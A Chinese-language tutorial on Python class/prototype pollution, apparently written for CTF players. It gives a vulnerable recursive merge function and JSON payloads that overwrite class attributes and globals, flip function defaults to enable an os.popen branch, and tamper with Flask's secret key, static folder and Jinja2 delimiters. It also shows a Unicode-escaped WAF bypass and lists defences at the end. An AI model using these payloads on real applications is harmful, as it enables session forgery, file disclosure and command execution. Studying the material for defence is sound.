Python prototype chain pollution
字数 1028 2025-08-20 18:18:17
Python原型链污染攻击技术详解
一、原型链污染基础概念
原型链污染(Prototype Pollution)是一种安全漏洞,攻击者通过操纵对象的原型链来修改应用程序行为或执行恶意代码。在Python中,这种攻击通常通过不安全的对象合并(merge)操作实现。
二、核心Merge函数分析
def merge(src, dst):
# 递归合并函数
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这个merge函数存在以下安全问题:
- 递归合并嵌套字典
- 允许通过setattr设置任意属性
- 没有对特殊属性(如
__class__,__globals__等)进行过滤
三、基本攻击方法
1. 通过继承链污染
class ctfer:
flag = "flag{fake_flag}"
class Delete(ctfer):
pass
class Chu0(ctfer):
pass
ctf1 = Delete()
ctf2 = Chu0()
evil_payload = {
"__class__": {
"__base__": {
"flag": "flag{really_flag}"
}
}
}
merge(evil_payload, ctf1) # 污染基类属性
注意:Python中的object属性无法被污染,尝试污染会抛出TypeError。
2. 通过__globals__污染
当不存在继承关系时,可以利用__globals__属性:
evil_payload = {
"__init__": {
"__globals__": {
"flag": "flag{really_flag}"
}
}
}
__globals__是函数对象的属性,包含函数定义时的全局变量字典。
四、高级攻击技术
1. 使用sys模块进行跨模块污染
evil_payload = {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"test1": {
"Test1": {
"flag": "flag{really_flag}"
}
}
}
}
}
}
}
2. 使用加载器(Loader)获取sys模块
当题目环境中没有直接导入sys时:
import math
loader = math.__spec__.__init__.__globals__['sys']
3. 函数默认值污染
通过__defaults__污染
def evil(arg_1, shell=False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
evil_payload = {
"__init__": {
"__globals__": {
"evil": {
"__defaults__": (True,)
}
}
}
}
通过__kwdefaults__污染
def evil(arg_1, *, shell=False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
evil_payload = {
"__init__": {
"__globals__": {
"evilFunc": {
"__kwdefaults__": {
"shell": True
}
}
}
}
}
五、Flask框架特定攻击
1. 密钥替换攻击
payload = {
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "Polluted~"
}
}
}
}
}
2. _got_first_request污染
payload = {
"__init__": {
"__globals__": {
"app": {
"_got_first_request": False
}
}
}
}
3. _static_url_path污染
payload = {
"__init__": {
"__globals__": {
"app": {
"_static_folder": "./"
}
}
}
}
4. 通过os.path.pardir污染
payload = {
"__init__": {
"__globals__": {
"os": {
"path": {
"pardir": ","
}
}
}
}
}
5. Jinja2模板引擎污染
payload = {
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[[",
"variable_end_string": "]]"
}
}
}
}
}
六、绕过WAF的技巧
当存在关键词过滤时,可以使用Unicode编码绕过:
{
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": {
"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F": {
"\u0061\u0070\u0070": {
"\u006A\u0069\u006E\u006A\u0061\u005F\u0065\u006E\u0076": {
"\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0073\u0074\u0061\u0072\u0074\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "[#",
"\u0076\u0061\u0072\u0069\u0061\u0062\u006C\u0065\u005F\u0065\u006E\u0064\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "#]"
},
"config": {
"\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059": "password"
}
}
}
}
}
七、实际CTF案例分析
1. CTFshow西瓜杯
攻击目标:
- 污染
app.secret_key为已知值 - 污染
_static_folder路径为服务器根目录 - 实现任意文件读取获取flag
2. DownUnderCTF 2024 - co2
通过污染全局flag变量:
payload = {
"__init__": {
"__globals__": {
"flag": "true"
}
}
}
八、防御措施
- 避免使用不安全的递归合并函数
- 对用户输入的JSON数据进行严格过滤
- 禁止设置特殊属性(
__class__,__globals__等) - 使用安全的替代方案如
dict.update()或第三方安全合并库 - 对关键函数和类进行属性设置的白名单控制
九、总结
Python原型链污染是一种强大的攻击技术,可以:
- 修改类属性
- 污染全局变量
- 操纵框架配置
- 绕过安全限制
理解这些攻击技术有助于开发更安全的Python应用程序和设计更有效的防御措施。